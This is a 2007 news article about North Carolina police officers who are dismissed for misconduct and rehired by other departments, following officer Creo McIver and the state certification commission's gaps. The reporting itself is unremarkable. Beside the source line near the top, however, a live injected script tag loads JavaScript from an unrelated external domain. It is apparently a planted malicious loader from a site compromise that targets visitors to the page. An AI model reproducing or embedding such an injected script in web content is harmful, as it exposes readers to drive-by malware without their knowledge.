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NEWS > 29 October 2007

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 Article sourced from

Raleigh Police Department, NC<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Charlotte Observer - Charlotte
29 October 2007
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Raleigh Police Department, NC

Chiefs have wide discretion ab

RALEIGH, N.C. --In 2000, Raleigh police thought they had taken care of a problem when they nudged Creo Melvin McIver II out the door. According to records: He had skipped shifts. A woman complained he had sexually harassed her. Supervisors investigated McIver for "having an extramarital affair," a violation of department policy. When confronted by investigators, the officer did not tell the truth.

McIver's problems in Raleigh, and his path after leaving there, are described in documents at the N.C. Criminal Justice Education and Training Standards Commission.

For the next four years, McIver bounced through three smaller police departments. He ran into more trouble. Both N.C. Central University and WakeMed Hospital let McIver go amid complaints of sexual harassment. His record caught up to him when he was provisionally hired by the State Capitol Police and the commission refused to transfer his certification.

McIver, who declined to be interviewed, is what those who monitor police misconduct call "gypsies."

Dismissed by one law enforcement agency, they keep their guns and badges and continue to do police work, usually on smaller forces where money is tight and able bodies are scarce. Sometimes, they slide by the police gatekeeper - a licensing commission under the state Department of Justice - despite multiple terminations flagged by local police chiefs.

"They get run out of one place and end up somewhere else," said Colon Willoughby, Wake County's district attorney. "Often, they bring their bad habits with them." Willoughby served seven years on the state commission that reviews problem officers' cases.

The News & Observer reviewed thousands of records involving officers brought before the commission. The review included commission cases since 2000 and dismissal records from large law enforcement agencies such as the state Highway Patrol and Raleigh police, along with those at the state personnel commission.

The records show that at least 150 officers who were deemed problems in one department were hired by another. The state certifies about 17,500 sworn officers working for state agencies and towns.

About half of U.S. states have procedures to revoke certifications of problem officers, said Patrick Judge, executive director of the International Association of Directors of Law Enforcement Standards and Training. North Carolina is among the most stringent, Judge said.

But a shortage of officers improves the chances that a dismissed officer will land a new police job. Law enforcement officials say the national pool of candidates has been shrinking over the past decade. Small towns feel the toughest crunch. They can't offer much pay - some forces start officers at $20,000 annual salary. The best don't stay long. Bright young officers are cherry-picked by larger departments that lure them with promises of better pay and chances to advance.

"It's tremendously difficult to fill the ranks with quality applicants and not reduce our standards," said Steve Hampton, Statesville police chief and a commission member who reviews cases of troubled officers.

After McIver's 20-year run at the Raleigh Police Department ended in 2000, he got a job with the N.C. Central University police. He traded his $48,355 Raleigh police salary for $33,558 in annual wages.

Within eight months, women at N.C. Central University began complaining that McIver sexually harassed them, according to commission records. He resigned during an internal investigation.

From there, he went to WakeMed Hospital police in the fall of 2001. On his application, McIver didn't mention the bad terms under which he left Raleigh police and N.C. Central police. He told WakeMed officials that he left N.C. Central because he was "commuting too far," according to commission records. WakeMed officials fired McIver in 2003 after he accidentally fired his weapon into the hospital. There, too, McIver was the target of sexual harassment complaints, records show.

McIver, now 49, didn't mention his bad exits from the Raleigh Police Department and N.C. Central police when the State Capitol Police offered him a job two months after he left WakeMed. He did report his dismissal from WakeMed, referencing his shooting incident. Some police chiefs say they are suspicious when they see a long list of employers over a short time span.

"If they've skipped from a department where they made $35,000 to a department offering $30,000, something's not clicking," said Hampton, the Statesville chief. "But it's tempting. Some agencies are lucky to get an honest person they can bring in and train."

The commission was designed to spot and weed out officers who behave badly. The commission's staff monitors local news reports for police indiscretions. It fields calls from scorned lovers and receives alerts from supervisors when an officer is charged with a crime.

Since 2000, investigators have brought between 40 and 70 cases a year to the commission's attention. In that time, the commission has recommended suspending the certifications of about 200 officers. In about 120 cases, it found no reason to suspend the certification.

The commission gets its most valuable information on a form that police chiefs must file when officers leave. There are boxes to check for the chief to flag problem employees for the commission.

Nothing obligates chiefs to divulge the former employees' problems. Nothing limits their disclosure, either. Police advocates complain that these forms are used to settle scores that amount to personality conflicts. Or, in the case of an omission, a way to reward an officer who goes quietly and spares the department lengthy termination appeals.

"It's haphazard," said John Midgette, executive director of the N.C. Police Benevolent Association. "A lot of bad cops are allowed to resign, and no one ever knows. On the other hand, a lot of good cops have their careers ruined when nothing at all happened."

Even when police chiefs do flag officers who have left under a cloud, nothing obligates the commission to review the officer's certification.

Raleigh police alerted the commission when McIver left their force. They checked two potentially career-ending boxes. No, they wouldn't hire him back. No, they didn't think McIver should work anywhere in law enforcement. A year later, N.C. Central sent in a form like that for McIver, checking the same boxes.

Despite those reports, McIver avoided the commission's scrutiny and worked in law enforcement for four more years. It wasn't until 2003, when he applied to be certified with the State Capitol Police, that the negative reports caught up with him.

An investigator inspected McIver's certification file only to find a paper trail from previous employers. The commission eventually decided to suspend McIver's certification because he lied on his job applications.

He'll be eligible to ask for recertification in 2010.

 

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